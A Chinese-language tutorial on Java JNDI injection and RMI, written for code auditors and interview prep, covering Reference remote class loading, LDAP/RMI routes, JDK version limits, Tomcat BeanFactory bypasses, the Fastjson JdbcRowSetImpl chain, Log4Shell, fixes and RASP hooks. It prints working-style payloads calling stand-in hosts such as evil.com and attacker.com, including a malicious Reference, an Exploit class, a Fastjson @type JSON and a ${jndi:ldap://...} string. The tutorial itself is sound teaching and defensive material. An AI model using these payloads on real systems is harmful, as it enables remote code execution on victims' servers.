JNDI 注入与 RMI

对应题库第四章 30~35 题。JNDI 注入本身不是独立漏洞,它是 反序列化、Fastjson/Jackson、Log4j2、JDBC URL 可控 等入口的”放大器”——只要攻击者能控制 lookup() 的参数,就能把一次参数污染升级为 RCE。

给初学者的一句话总览:JNDI 就是 Java 世界的”查号台”,程序喊一个名字,它帮你把对应的对象找回来。漏洞出在哪?出在这个”名字”是用户传的——用户报的不是正规号码,而是攻击者自己开的黑查号台,查回来的不是对象,是一颗雷。

先修知识

读这篇之前,先把下面这些词过一遍。不用背,混个脸熟,正文里再见到就不会慌:

  • JVM:运行 Java 程序的虚拟机。类比:Java 程序是剧本,JVM 是剧团,剧本在哪都能演。
  • RCE(远程代码执行):攻击者让目标服务器执行自己写的代码,是漏洞里的”最高伤害”。
  • 序列化 / 反序列化:把内存里的对象”拍扁”成字节流方便传输/存储,叫序列化;把字节流”还原”成对象,叫反序列化。类比:把乐高城堡拆成零件装盒(序列化),照着说明书拼回去(反序列化)。危险在于——如果盒子里被人偷偷换了零件,拼出来的就是别的东西。
  • Gadget(利用链零件):程序依赖库里本来无害的类,但它们的方法组合起来能被攻击者”借力”执行命令。单看每个类都像好人,串起来就是凶器。
  • classpath:JVM 找类的”搜索路径清单”,项目代码和所有依赖 jar 都在里面。判断 JNDI 能不能利用,很大程度就是看 classpath 里有哪些类可以借力。
  • codebase:JNDI 里指”类的远程下载地址”。受害者本地找不到某个类时,可以去这个 URL 下载——这就是远程类加载的口子。
  • SPI(Service Provider Interface):Java 的插件机制。接口是统一的,不同协议各写一个实现插进来。类比:统一的电源插座标准,各国电器各自配插头。
  • EL 表达式:一种在字符串里写逻辑的表达式语言(如 ${7*7}),某些场景下会被引擎真正执行。能写 ${...} 的地方往往就是命令执行预备役。
  • Fastjson autoType:Fastjson 反序列化时允许 JSON 里写 @type 指定”我要还原成哪个类”。攻击者指定一个危险类,还原过程就等于替攻击者调用方法。
  • RASP:插在 JVM 内部的安全探针,能在危险函数被调用的瞬间拦截。类比:装在发动机里的行车记录仪。
  • 出网:目标服务器能不能主动连外网。JNDI 利用几乎都要受害者回连攻击者服务器,出网被禁,很多链就断了。

一、JNDI 概念与架构

1.1 JNDI 是什么

一句话定义:JNDI(Java Naming and Directory Interface)是 Java 提供的统一命名/目录访问 API——你给它一个名字,它帮你把对应的对象或服务找回来。

生活化类比:JNDI 就是电话簿查号台。你想联系”财务部”,不用记分机号,打给查号台报个名字,它帮你转接。JNDI 也一样:程序喊一句”我要叫 jdbc/main 的数据库连接”,JNDI 负责把这个名字解析成真正可用的对象。

为什么会有这套东西(开发者动机):Java 应用经常要用数据库连接、消息队列、远程服务这些资源。如果每个程序都自己写一套”怎么连 LDAP、怎么连 RMI、怎么查 DNS”,代码会乱成一锅粥。JNDI 把这些”按名字找东西”的操作统一成一个接口,具体协议交给插件实现。初衷是好的——统一入口、屏蔽协议差异。

JNDI 本身只做接口定义,真正的协议实现由 SPI 插件完成:

SPI 实现协议默认端口典型用途
RMI RegistryRMI1099远程对象注册与查找
LDAPLDAP/LDAPS389/636目录服务、用户认证
CORBA (COS Naming)IIOP900分布式对象
DNSDNS53域名记录查询(利用时常用来探测目标是否出网)

核心入口类是 javax.naming.InitialContext,一句 new InitialContext().lookup(url) 就完成一次”按名字找对象”:

// 正常用途:从 RMI 注册表取回一个远程对象
Context ctx = new InitialContext();                          // ① 初始化"查号台"
Object obj = ctx.lookup("rmi://127.0.0.1:1099/hello");       // ② 报名字,取对象

漏洞本质:url 一旦用户可控,攻击者就能让受害 JVM 去连自己搭建的恶意目录服务,返回一个精心构造的 Reference(下一节细讲),诱导受害端远程加载并实例化攻击者的类。

用查号台类比说透:正常流程是你报”财务部”,查号台转接到真的财务部。注入流程是——攻击者让你报一个他控制的名字,查号台(JNDI)不问青红皂白就打到攻击者家里,接电话的”财务部”是个骗子,还会反过来指挥你做事。

1.2 为什么会出现这个漏洞

开发者写出 JNDI 注入,通常不是因为蠢,而是这三种心态:

  1. 图省事:要做个”动态配置远程资源地址”的功能(比如让管理员在页面上填数据源 JNDI 名),直接把前端传来的字符串塞进 lookup(),觉得”反正是管理员用的”。
  2. 不知道危险:很多教材和旧博客把 lookup("rmi://...") 写成普通示例,开发者照着抄,压根不知道这个参数可控等于把后门钥匙递出去。
  3. 误信输入来源:觉得参数来自内部系统、配置文件、Header,“不会被外部污染”。实战中这些来源经常被 SSRF、配置中心、日志内容绕过污染。

1.3 审计时怎么找(先建立直觉)

在代码库里全局搜这几个关键字,命中一个看一个:

lookup(
InitialContext
InitialDirContext
InitialLdapContext
DirContext

看到什么模式要警惕——危险的不是 lookup 本身,而是参数从外部进来且没有白名单:

// ❌ 审计到就标红:参数直接来自请求
String name = request.getParameter("jndiName");
ctx.lookup(name);
 
// ✅ 安全模式:查的是写死/白名单内的内部名
ctx.lookup("java:comp/env/jdbc/main");

对比记忆:参数是”写死的内部名”→ 安全;参数是”外部能影响的字符串”→ 立刻追数据流。


二、lookup 注入原理:Reference 与远程类工厂

2.1 关键类

  • javax.naming.Reference:对”不在本地”的对象的引用。类比:一张取货单——东西不在店里,单子上写着货名、去哪个仓库取、仓库地址。它有三个关键字段:
    • className:对象类名(货名)
    • classFactory:类工厂名(负责实例化该对象的类,相当于”哪个仓库负责组装”)
    • classFactoryLocation:类工厂的远程 codebase(仓库地址,如 http://evil.com/)
  • javax.naming.Referenceable:实现了 getReference() 的接口,对象存入目录时可以”以引用形式”存储——即不存真身,只存放取货单。
  • javax.naming.spi.NamingManager#getObjectInstance:解析 Reference 的核心枢纽。它发现本地没有工厂类时,会用 URLClassLoader 从 codebase 远程下载工厂类并实例化——这一步就是在执行攻击者的代码,是整个漏洞的引爆点。

2.2 完整解析流程(文字版流程图)

用户输入 url
   │
   ▼
InitialContext.lookup("ldap://evil.com/a")
   │  按 scheme 选择 SPI,连接攻击者服务器
   ▼
恶意服务端返回条目(内含 Reference / javaSerializedData)
   │
   ▼
客户端 decodeObject()
   │
   ▼
NamingManager.getObjectInstance()
   ├─ 本地找工厂类? ── 有 → 实例化(本地工厂利用,高版本绕过路线)
   └─ 无 → URLClassLoader 从 codebase 远程加载工厂类
              │
              ▼
        工厂类 static 块 / getObjectInstance() 执行
              │
              ▼
             RCE

给初学者掰开揉碎讲这张图:受害者 JVM 从攻击者服务器下载了一个 .class 文件并加载了它。Java 的类加载机制规定,类被加载时静态代码块(static {})会自动执行。攻击者把 Runtime.exec("calc") 写进静态块,受害端一下载一加载,命令就执行了——全程不需要受害者调用任何方法,加载即中招。

审计记忆点

漏洞成立的三个条件:① lookup 参数可控;② 客户端能连到攻击者服务器(出网);③ JDK 版本允许远程 codebase,或 classpath 里存在可用的本地工厂类/反序列化 gadget。审计时这三条逐一核对,就能判断”能挖到”和”能利用”之间的距离。

2.3 恶意 Reference 长什么样(payload 逐段拆解)

攻击者服务端返回的核心就是下面这个对象,逐参数拆:

Reference ref = new Reference(
    "Exploit",              // className:名义上的类名,写什么都行
    "Exploit",              // classFactory:工厂类名 → 受害者要去加载的类
    "http://evil.com/"      // classFactoryLocation:codebase → 从这里下载 Exploit.class
);
  • 第一、二个 "Exploit":告诉受害端”这个对象该由 Exploit 类来组装”。受害端本地找不到这个类(正常情况下找不到),于是走远程下载分支。
  • "http://evil.com/":告诉受害端去哪下载。攻击者在这个地址挂一个恶意的 Exploit.class,里面 static 块写着弹计算器/反弹 shell。
  • 受害端执行 URLClassLoader.loadClass("Exploit") 的瞬间,Exploit 的静态块执行,RCE 完成。

配套的攻击者类:

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");   // 类一被加载,这行就跑
        } catch (Exception e) {}
    }
}

三、RMI 通信原理与”天然漏洞”

3.1 RMI 是什么

一句话定义:RMI(Remote Method Invocation)让一台 JVM 上的程序能直接调用另一台 JVM 上对象的方法,就像调用本地方法一样。

生活化类比:RMI 像点外卖。你(客户端)不用自己下厨(不用知道服务端怎么实现),打开 App(Stub 存根)下单,商家(服务端)做好,骑手(网络序列化字节流)送到。整个过程你感觉”饭是自己点的”,其实锅碗瓢盆都在别人店里。

3.2 RMI 架构三个角色

  • Registry(注册表):默认 1099 端口,维护”名字 → 远程对象引用”的映射。相当于外卖平台上的”店铺列表”。
  • Stub(客户端存根):客户端持有的代理,把调用参数序列化后发给服务端。你点单时在 App 上操作的就是它。
  • Skeleton(服务端骨架):历史上负责在服务端接收字节流、反序列化参数并调用真实对象。JDK 1.2 起 Skeleton 被弃用,服务端改为反射直接调用;Java 5 起 Stub 也改由运行时动态生成,不再依赖 rmic 预编译。这些是历史演进细节,记住结论就行:今天的 RMI 照样在两端做序列化/反序列化。
  • 参数与返回值一律走 Java 原生序列化——这就是 RMI 的”原罪”。

3.3 为什么天然存在漏洞

  1. 反序列化是协议的一部分:Registry 的 bind/rebind/lookup 都会反序列化对端发来的序列化对象。只要 classpath 里有 gadget(如 Commons-Collections),攻击者直接向 Registry 打反序列化 payload 即可——不需要任何业务代码配合,协议本身就是入口。
  2. Reference 机制内建:RMI 支持把对象以 Reference 形式注册。客户端 lookup 时,Registry 把 Reference 发回,客户端走完第二节的流程,低版本 JDK 直接从 codebase 远程加载工厂类。
  3. 天然信任远端代码:RMI 设计于”分布式环境里类可以从对端下载”的年代,安全模型完全依赖后来的 JDK 版本补丁逐步收紧。老协议配新补丁,补丁不到位就是裸奔。
// 攻击者:向 Registry 注册一个 Reference,坐等受害者来 lookup
Registry registry = LocateRegistry.createRegistry(1099);          // ① 开一个 1099 端口的注册表
Reference ref = new Reference("Exploit", "Exploit",
        "http://evil.com/");                                      // ② 构造恶意取货单(见 2.3 拆解)
registry.bind("hello", new ReferenceWrapper(ref));                // ③ 以 "hello" 为名挂上去
// ④ 受害者执行 lookup("rmi://attacker:1099/hello"),即触发远程类加载

逐行数据流:① 攻击者在自己服务器开 Registry → ② 把”工厂类在 http://evil.com/“写进 Reference → ③ 用 ReferenceWrapper 包一层(RMI 只能注册 Remote 对象,Wrapper 是适配器)挂到名字 hello 上 → ④ 受害者一查 hello,拿到取货单,按单子去 http://evil.com/ 下载 Exploit.class → 静态块执行,RCE。


四、LDAP 与 RMI 两条 JNDI 利用路线对比

LDAP 是什么:一句话定义——LDAP 是一种目录服务协议,按树状结构存”条目”,常用来存用户、组织架构。类比:公司的通讯录系统,按部门-小组-员工分层,每层挂着一串属性(姓名、电话、邮箱)。JNDI 利用时,攻击者自建 LDAP 服务,在条目的属性里塞恶意字段(javaFactory、javaCodeBase、javaSerializedData),受害者一解析就中招。

维度RMI 路线LDAP 路线
触发 URLrmi://host:1099/nameldap://host:389/entry
服务端实现自建 Registry 返回 ReferenceWrapper自建 LDAP 服务返回含 javaClassName、javaFactory、javaCodeBase 属性的条目
远程 codebase 默认关闭的版本6u141 / 7u131 / 8u1218u191 / 11.0.1(同步修复 7u191 / 6u201)
控制开关com.sun.jndi.rmi.object.trustURLCodebase(默认 false)com.sun.jndi.ldap.object.trustURLCodebase(默认 false)
高版本本地绕过本地工厂类(BeanFactory 等)本地工厂类 + javaSerializedData 反序列化 gadget
额外攻击面Registry 本身可被反序列化直接打属性可携带序列化数据,链条更灵活

面试常考:“为什么 LDAP 用得比 RMI 多?“——LDAP 的版本限制来得更晚(8u121 就能挡 RMI 远程加载,LDAP 要到 8u191),实战适用面更宽,且 marshalsec 等工具开箱即用,一条命令就能起恶意 LDAP 服务。

给初学者的实操提示:看到目标 JDK 版本,先查这张表定路线。8u121 以下:RMI/LDAP 远程加载随便打;8u121~8u191:只能走 LDAP 远程加载;8u191 以上:远程加载两条路都死了,转第六节的高版本绕过。

4.1 LDAP 恶意条目到底长什么样

很多初学者卡在”LDAP 返回条目”这个抽象说法上,其实它就是一组键值对属性,逐字段拆:

dn: cn=exploit,dc=evil,dc=com          # 条目在目录树里的"路径",相当于通讯录里的工位号
javaClassName: Exploit                 # 名义上的类名
javaFactory: Exploit                   # 工厂类名 → 受害者要加载的类
javaCodeBase: http://evil.com/         # codebase → 去哪下载这个类
objectClass: javaNamingReference       # 声明"这是一条引用",触发 Reference 解析分支

受害端拿到这条目后做的事,和 2.3 节拆的 new Reference(...) 完全等价——LDAP 只是把 Reference 的三个字段摊平成了三个属性。再看 javaSerializedData 属性:它直接携带一段序列化字节流,受害端 decodeObject 时走原生反序列化,这就是 6.2 节”本地 gadget”路线的载体。

4.2 审计时怎么判断目标走哪条路线

  1. 先定 JDK 版本:翻部署文档、Dockerfile 的 FROM 镜像、pom.xml 的 maven.compiler 配置,或在靶机上跑 java -version。
  2. 再定 classpath 里有什么:翻 pom.xml / build.gradle / lib/ 目录,重点找 Tomcat(BeanFactory)、Groovy、commons-collections、commons-beanutils。
  3. 最后定出网策略:看防火墙/容器网络配置。出网全禁,远程 codebase 路线直接作废,但本地 gadget 路线不要求出网到攻击者服务器以外的地址(数据是服务端主动返回的),仍要小心。

这三步就是面试里”给你一个环境,判断 JNDI 能不能打”的标准答题框架。


五、JDK 版本限制演进(必背时间线)

JDK 版本变化
6u141 / 7u131 / 8u121RMI 的 com.sun.jndi.rmi.object.trustURLCodebase 默认 false,RMI 远程 codebase 加载被堵死
8u191 / 11.0.1(含 7u191 / 6u201)LDAP 的 com.sun.jndi.ldap.object.trustURLCodebase 默认 false,LDAP 远程 codebase 加载被堵死
8u251 左右(视发行版而定)BCEL 内部 ClassLoader 被移除,BCEL 加载链失效

这张表怎么理解?JDK 官方修的不是”JNDI 会连恶意服务器”这个行为,而是”连上之后敢不敢远程下载类”。两个 trustURLCodebase 开关就是两道闸门:默认 false = 不信任远程 codebase = 不许从 URL 下载类。

注意

这些开关只挡远程 codebase,不挡本地工厂类和反序列化——官方堵了”从外网下载类”,但没堵”用你 classpath 里已有的类干坏事”。于是有了下一节的”高版本绕过”。这也是审计时要查 pom.xml / lib 目录的原因:目标装了什么依赖,直接决定哪条绕过链能打通。


六、高版本绕过

6.1 本地工厂类利用

回忆 2.2 的流程图:NamingManager.getObjectInstance 的逻辑是”先本地找工厂类,找不到才去 codebase 下载”。JDK 把”远程下载”这条分支堵了,但”本地找到”这条分支还开着。只要受害 classpath 里有一个能被当成工厂类利用的类,攻击者让 Reference 的 classFactory 指向它即可。

类比:仓库不许去外地调货了,但攻击者发现你家楼下五金店(classpath 里的 Tomcat jar)就能组装出炸弹——单子照开,货照取。

经典组合(需要 Tomcat 相关 jar 在 classpath,Web 应用几乎必有):

// 用 Tomcat 的 BeanFactory 当本地工厂 + ELProcessor 执行 EL 表达式
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
        true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
        "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")...")); // 任意 EL 表达式

逐段拆解这段 payload 在干什么:

  1. ResourceRef 的目标是 javax.el.ELProcessor——受害者 classpath 里的 EL 表达式引擎,它有个 eval() 方法能执行字符串里的表达式。
  2. factory 指定为 org.apache.naming.factory.BeanFactory——Tomcat 自带的”按属性装配对象”的工厂类。受害者本地找得到它,所以走本地分支,绕开 trustURLCodebase 限制。
  3. forceString = "x=eval":这是 BeanFactory 的一个特性——把 x 当作属性名,强制以字符串方式调用 set 逻辑,等价于让受害端执行 elProcessor.eval(...)。forceString 里写的是”属性名=方法名”的映射。
  4. 第二个 StringRefAddr 的键 x 提供参数:一段 EL 表达式,内容是通过反射拿到 ScriptEngineManager 最终执行任意 Java/JS 代码(省略号代表完整利用串,实战中是一整段)。
  5. 合起来:受害端解析 Reference → BeanFactory 实例化 ELProcessor → 把 x 的内容喂给 eval() → EL 表达式执行 → RCE。全程只用了受害者自己 classpath 里的类,没从外网下载任何字节码。
  • 同类替代品:groovy.lang.GroovyShell(classpath 有 Groovy 时可用它 eval/evaluate 执行 Groovy 脚本)。

6.2 本地反序列化 gadget

LDAP 条目的 javaSerializedData 属性、RMI 的返回对象都走原生反序列化。Reference 路线被堵后,直接让服务端返回序列化 gadget 字节流(CommonsBeanutils、CommonsCollections 等),命中 classpath 里的 gadget 即 RCE。

这条路与 JDK 版本完全无关,只取决于依赖里有没有 gadget——所以审计时看到 commons-collections 3.x、commons-beanutils 1.x 这类老依赖,就要立刻联想:这里不仅能打反序列化入口,JNDI 的 LDAP/RMI 返回也能直接打。

6.3 BCEL ClassLoader(历史路线)

先铺垫:BCEL 是 Apache 的字节码操作库,JDK 内部曾内置了一份(com.sun.org.apache.bcel)。它有个 ClassLoader,允许把字节码编码进类名里——类名写成 $$BCEL$$<一长串编码>,加载时当场解码还原成类。

利用思路:classFactory 填 $$BCEL$$...,受害端”本地加载”这个类名时,等于把攻击者的字节码夹带在类名里走私进 JVM,不需要 codebase,也不需要现成工厂类。高版本(约 8u251 后)该内部类被移除,已不可用于新环境;可作为理解”类加载与 JNDI 交汇点”的经典素材。

能否换其他类加载器?可以——任何”类名可控 + loadClass 可被间接触发”的类加载器理论上都可被借用,但前提是该类加载器在目标 classpath 且能从类名还原字节码。现实中 BCEL 是最出名的一个,其余多为特定组件自带。


七、JdbcRowSetImpl 触发 JNDI 的链条

先铺垫两个概念:

  • JdbcRowSetImpl 是什么:JDK 自带的 com.sun.rowset.JdbcRowSetImpl,一个”可以脱离数据库连接、离线操作结果集”的工具类。类比:把 Excel 表格拷到本地慢慢改,改完再同步回数据库。
  • 它为什么是经典触发器:它的 setAutoCommit(true) 内部会去连接数据源,而数据源名字是一个 JNDI 名——setter 里藏着 lookup。反序列化框架还原对象时恰恰就是挨个调 setter,等于自动替攻击者按下了引爆按钮。
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://evil.com/a"); // 只写字段:把恶意 JNDI 地址存进 dataSource
rs.setAutoCommit(true);                    // 触发器:内部调 connect() → lookup()

调用链:

setAutoCommit(true)
  └─> this.connect()
        └─> InitialContext().lookup(this.getDataSourceName())

Fastjson 反序列化时会按 setter 还原对象——攻击者 JSON 里写好 dataSourceName 与 autoCommit 两个字段,反序列化过程自动完成 JNDI 注入。对应的恶意 JSON 逐字段拆解:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",   // ① 指定还原成这个类(需 autoType 开启)
    "dataSourceName": "ldap://evil.com/a",      // ② 调 setDataSourceName() 写入恶意地址
    "autoCommit": true                          // ③ 调 setAutoCommit() → 内部触发 lookup()
}
  • ① @type:Fastjson 的 autoType 机制——JSON 里点名要还原成哪个类。这是入口的前提,所以 autoType 开关是审计 Fastjson 的第一检查项。
  • ② dataSourceName:Fastjson 看到字段名就去找对应 setter setDataSourceName,把 LDAP 地址写进去。这一步只是存数据,还没爆。
  • ③ autoCommit:Fastjson 调 setAutoCommit(true),方法内部走 connect() → lookup(dataSource),爆炸。

审计联想:看到项目引了 Fastjson 旧版本且开启 autoType(ParserConfig.getGlobalInstance().setAutoTypeSupport(true) 或 1.2.24 及以下默认行为),就要立刻联想这条链;看到 JdbcRowSetImpl 出现在白名单/依赖路径里同理。


八、审计点:哪些 API 会触发 lookup

8.1 Sink 表(搜索关键字)

“Sink”就是危险函数——数据流到这里就出事。审计第一步是在代码库里把这些名字全搜一遍:

类别Sink触发方式
直接调用InitialContext.lookup() / InitialDirContext / InitialLdapContext.lookup() / Context.lookup()参数可控即漏洞
框架封装JdbcRowSetImpl.setDataSourceName + setAutoCommit反序列化 setter 链
连接池HikariCP 的 dataSourceJNDI、DBCP 的 jndiName、Tomcat <Resource> JNDI 数据源配置可控时触发
日志Log4j2 ${jndi:ldap://...}(CVE-2021-44228 Log4Shell)日志内容可控即可,危害最大

Log4Shell 为什么单独点名:Log4j2 支持”查找替换”语法,日志内容里出现 ${jndi:ldap://evil.com/a} 时,框架会真的去执行一次 JNDI lookup。攻击者只要把这段字符串写进任何会被记日志的地方——User-Agent 头、登录用户名、搜索框——应用一记日志就中招。不用找业务里的 lookup 调用,日志框架自己就是 sink。这也是它被评为”十年最凶漏洞”的原因:入口遍地都是。审计旧项目时,先查 pom.xml 里 log4j-core 版本是否 < 2.15.0(彻底修复在 2.17.x),再搜代码里 logger.info/error(请求参数) 的拼接模式。 | 其他 | NamingManager.setInitialContextFactoryBuilder、Registry.lookup、DirContext.search | 视上下文 |

8.2 Source 表

“Source”是脏数据的入口。审计时从 Sink 反向追到这些源头,连通即漏洞:

  • HTTP 请求参数/Header/Body 直接拼入 lookup()
  • 反序列化数据(Fastjson/Jackson/SnakeYAML/XStream)可控 setter
  • 可控配置项:数据库连接串、日志内容、远程配置中心下发值

8.3 判定要点(三步定案)

  1. lookup 参数是否外部可控(拼接、反序列化、配置下发);
  2. 目标 JDK 版本 → 决定走远程 codebase 还是本地绕过(对照第四节那张表);
  3. classpath 是否有 Tomcat BeanFactory、Groovy、反序列化 gadget → 决定高版本能否利用(翻 pom.xml / lib 目录)。

审计操作示范:在 IDEA 里全局搜 lookup(,逐个点进去看参数来源;再搜 getParameter、@RequestParam、反序列化入口,两头对着追。前后对比:

// ❌ 危险:source 到 sink 一条龙,中间无任何校验
String jndi = req.getParameter("jndi");
new InitialContext().lookup(jndi);
 
// ✅ 安全:白名单校验,名单外直接拒绝
if (!ALLOWED_NAMES.contains(jndi)) throw new SecurityException();
new InitialContext().lookup(jndi);

九、完整案例

9.1 漏洞代码(逐行注释)

// ❌ 危险写法:用户输入直接进入 lookup
@WebServlet("/fetch")                                   // 把这个 Servlet 挂在 /fetch 路径上
public class FetchServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String url = req.getParameter("url");           // Source:GET 参数 url,攻击者完全可控
        try {
            InitialContext ctx = new InitialContext();  // 初始化 JNDI 查号台
            Object obj = ctx.lookup(url);               // Sink:可控参数直接进 lookup → JNDI 注入
            resp.getWriter().write(String.valueOf(obj));// 把查到的对象回显给页面
        } catch (NamingException e) {
            resp.getWriter().write("lookup failed");    // 只兜了 Naming 异常,挡不住恶意加载
        }
    }
}

9.2 数据流分析(编号走一遍)

① 用户输入从哪进来:攻击者发 GET /fetch?url=ldap://attacker.com:1389/Exploit,req.getParameter("url") 原样取出这串地址,没有任何过滤。

② 经过什么处理:答案是——什么都没经过。url 从请求参数到 lookup() 之间是直通管道,既没校验协议,也没校验主机白名单。这是典型的”信任了不该信任的输入”。

③ 到达哪个危险函数:InitialContext.lookup(url)。JNDI 按 ldap:// 前缀选 LDAP SPI,主动连接攻击者的 1389 端口。

④ 为什么防线失效:应用层没做白名单(第一防线缺失);恶意 LDAP 返回 Reference(factory=Exploit, codebase=http://attacker.com/),若 JDK < 8u191,URLClassLoader 远程下载 Exploit.class,静态块执行(第二防线缺失);若 JDK ≥ 8u191,攻击者改用 BeanFactory+ELProcessor 本地工厂链,或让条目带 javaSerializedData 打反序列化 gadget(此时防不防得住全看 classpath 里有什么)。三层全部失守 → RCE。

GET /fetch?url=ldap://attacker.com:1389/Exploit
  → req.getParameter("url")          // 完全可控
  → InitialContext.lookup(url)
  → LDAP SPI 连接攻击者服务
  → 返回 Reference(factory=Exploit, codebase=http://attacker.com/)
  → 低版本 JDK:URLClassLoader 远程加载 Exploit.class → static 块 RCE
  → 高版本 JDK:攻击者改用 BeanFactory+ELProcessor 或 javaSerializedData gadget

9.3 审计结论

  • 定性:JNDI 注入,可导致远程代码执行。
  • 成立条件:出网可达攻击者服务器;JDK < 8u191 走远程 codebase,更高版本视 classpath 走本地工厂/gadget。
  • 证据链完整:Source(getParameter)→ 无任何过滤 → Sink(lookup)。审计报告里这条链一摆,漏洞就立住了。

9.4 修复(逐行注释)

// ✅ 安全写法一:协议 + 地址白名单(首选,从根上掐断)
private static final Set<String> ALLOWED = Set.of(
        "java:comp/env/jdbc/primary", "java:comp/env/jdbc/replica"); // 只放行两个内部数据源名
if (!ALLOWED.contains(url)) {
    throw new SecurityException("jndi name not allowed");            // 名单外一律拒绝
}
Object obj = ctx.lookup(url);                                        // 能走到这的 url 一定在名单内
 
// ✅ 安全写法二:升级 JDK 并显式关闭远程 codebase(纵深防御,兜底用)
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");

根本修复是不让外部输入成为 lookup 参数;白名单是第一道、JDK 升级与开关是第二道、出网管控是第三道。写修复建议时按这个顺序列,面试官会点头。


十、防御与检测:Hook JNDI 的思路

蓝队/研发可在 JVM 层面对 JNDI 做”总闸”式防御——不管上层业务代码写得多么奔放,到底层统一拦一道:

  1. Java Agent 字节码插桩:attach 时改写 javax.naming.spi.NamingManager#getObjectInstance 与 InitialContext#lookup 的字节码,在方法入口插入校验——检查 Reference 的 classFactoryLocation 是否非空、目标地址是否在白名单,命中即抛异常并告警。RASP 产品普遍采用此方案。类比:在查号台总机装窃听器,谁打奇怪的电话立刻掐断。
  2. 自定义 ObjectFactoryBuilder:NamingManager.setObjectFactoryBuilder() 全局只能设置一次,抢先注册一个”审查型” Builder,所有 Reference 解析必经此处。
  3. 网络层:限制服务出网,尤其禁止应用服务器主动连 389/1099 等非业务端口。JNDI 利用要回连攻击者,出网一掐,大半条链直接废掉。
  4. 日志检测:监控 JVM 参数是否被添加 trustURLCodebase=true(有人偷偷开闸是强信号),以及类加载日志中是否出现来自 http(s) codebase 的类。

十一、面试题眼 / 速答

题眼一句话答案展开两三句
30. JNDI 是什么、为什么会注入?统一命名/目录 API,lookup(url) 的 url 可控即注入。JNDI 像查号台,按名字找对象。攻击者把 url 换成自己的恶意目录服务,服务端返回 Reference,诱导受害端加载恶意工厂类,静态块执行即 RCE。
31. 远程加载的原理?Reference 指明工厂类和 codebase,本地找不到就从 URL 下载。NamingManager.getObjectInstance 解析 Reference 时先查本地 classpath;没有就用 URLClassLoader 从 classFactoryLocation 下载工厂类并实例化,类的 static 块 / getObjectInstance() 里的代码随之执行。
32. RMI 为什么天然有漏洞?协议内建 Java 原生序列化 + Reference 远程类加载。Stub/Skeleton 通信全靠序列化字节流,Registry 的 bind/lookup 会反序列化对端数据,classpath 有 gadget 就能直接打;同时 RMI 支持注册 Reference,lookup 时触发远程工厂类加载。设计年代默认信任对端代码。
33. JDK 版本限制时间线?8u121 堵 RMI 远程加载,8u191 堵 LDAP 远程加载。具体是 6u141/7u131/8u121 把 rmi.object.trustURLCodebase 默认设为 false;8u191/11.0.1(含 7u191/6u201)把 ldap.object.trustURLCodebase 默认设为 false。注意开关只挡远程 codebase,不挡本地工厂和反序列化。
34. 高版本怎么绕过?本地工厂类或本地反序列化 gadget,与 JDK 版本无关。一是借 classpath 里的 Tomcat BeanFactory 装配 ELProcessor 执行 EL 表达式(有 Groovy 则用 GroovyShell);二是让 LDAP 条目的 javaSerializedData 或 RMI 返回对象直接携带序列化 gadget 字节流。能否打通全看目标依赖。
35. 审计时怎么找 JNDI 注入?搜 sink 关键字,追参数来源,核对三要素。全局搜 lookup(、InitialContext、JdbcRowSetImpl.setDataSourceName、连接池 dataSourceJNDI、Log4j2 ${jndi:;确认 ① 参数可控 ② JDK 版本决定路线 ③ classpath 有无可借力的工厂类/gadget,三者齐才能定性可利用。
附:JdbcRowSetImpl 链?setAutoCommit(true) 触发 connect() 内部 lookup()。setDataSourceName("ldap://evil") 写入地址,setAutoCommit(true) 触发连接。Fastjson 按 setter 还原对象时自动按顺序调用这两个方法,攻击者 JSON 写好 @type + 两个字段即可完成注入,常用于 Fastjson ≤1.2.24。
附:如何防御?白名单 + 升 JDK + 禁出网 + RASP,层层设防。业务层对 JNDI 名做白名单是第一道;保持 JDK 新、trustURLCodebase=false 是第二道;限制应用出网(尤其 389/1099)是第三道;RASP Hook NamingManager.getObjectInstance/InitialContext.lookup 做运行时拦截兜底。